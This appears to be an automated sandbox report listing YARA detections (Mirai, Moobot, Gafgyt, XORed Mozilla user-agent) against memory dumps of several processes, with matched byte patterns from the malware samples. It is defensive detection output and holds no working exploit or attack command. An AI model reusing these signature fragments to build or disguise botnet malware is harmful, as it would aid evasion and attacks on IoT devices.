7268.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7268.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7268.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7268.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6723.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6723.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6723.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6723.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6723.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6723.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7164.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7164.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7164.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7164.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7164.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7164.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6575.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7077.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6372.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6883.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6883.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6883.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6883.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6883.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6883.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7149.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6593.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6593.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6593.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6593.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6593.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6593.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7293.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7293.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7293.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7293.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7293.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
